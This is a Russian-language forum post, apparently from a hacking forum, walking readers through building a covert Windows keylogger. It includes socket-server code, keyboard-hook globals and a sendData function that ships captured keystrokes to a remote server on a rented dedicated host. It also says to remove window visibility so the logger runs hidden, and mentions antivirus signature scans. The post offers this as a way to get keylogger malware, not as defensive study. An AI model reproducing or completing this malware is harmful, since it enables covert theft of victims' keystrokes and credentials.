На протяжении, примерно, месяца я постоянно наблюдал за различными просьбами, вопросаминасчет кейлоггеров. Многие искали, но не могли найти исходники, многие искали, но не могли найти продажники и т.д.
В этой статье я хочу показать, насколько просто написать самому кейлоггер с базовым функционалом. Базу я позаимствовал отсюда - https://simple-keylogger.github.io, пофиксил баги и доработал под взаимодействие с WinSocket.
Материалы
Visual Studio 2015 Community Update 4
Visual C++ 2015
Структура приложения
Для начала необходимо определить, как вообще будет работать кейлоггер. Будь то отсылка логов на FTP/Почту, запись нажатий в сокет, отправка файла на гейт, запись логов в бд.
Я решил остановится на сокетах. Почему? Это удобно, просто и юзабельно.
Исходя из выбора, нам нужно будет сделать 2 приложения:
Сервер
Консольное приложение, которое будет принимать данные от клиента и выдавать в консоли
Клиент
Собственно, сам кейлоггер, который будет отсылать нажатия клавиш на сервер
И начнем мы, пожалуй, с сервера.
Сервер
Создаем консольное C++ приложение в Visual Studio.
Вместо единоразового do/while ставим бесконечный цикл, в котором будем принимать данные от клиента, выводить их в консоль, закрывать соединение и по новой:
Код:
do {
ClientSocket = accept(ListenSocket, NULL, NULL); //Принимаем коннект
iResult = recv(ClientSocket, recvbuf, recvbuflen, 0);//Считываем лог
if (iResult > 0) //Если лог не пустой
printf("%s", recvbuf); //Выводим
closesocket(ClientSocket);//Закрываем соединение
memset(recvbuf, 0, sizeof recvbuf);//Освобождаем память
}
while (true);
Компилируем в Release, закидываем на дедик, открываем нужный нам порт и запускаем
Некоторые переменные пришлось вытащить из их методов и сделать глобальными, чтобы код начал работать корректно:
Код:
WSADATA wsaData;
SOCKET ConnectSocket = INVALID_SOCKET;
HHOOK _hook;KBDLLHOOKSTRUCT kbdStruct;
char lastwindow[256];
int Save(int key_stroke);// Убрал второй аргумент
Создаем метод отправки данных на сервер по примеру, который был в начале абзаца. Далее, везде заменяем порт, айпи и передаваемую инфу на аргументы функции:
Код:
void sendData(char *ip, char * port, char*data)
В методе Save делаем следующее - убираем второй аргумент и меняем запись логов в файл на отправку к серверу:
Вырезаем все что связано с видимостью окна из кода, и, готово.
Итог
При запуске кейлоггера, он повиснет в процессах и будет обрабатывать каждое нажатие на клавиатуре. Возможно, некоторые символы будут отображаться некорректно, например, слеши, но все это можно исправить самому (ведь если бы все было идеально, ко мне в личку стучал Иисус с просьбой проверить продажник приватного кейлоггера).
Лог будет выглядеть так:
Ссылки
Сигнатурные сканы (не спрашивайте зачем просканил сервер, просто так):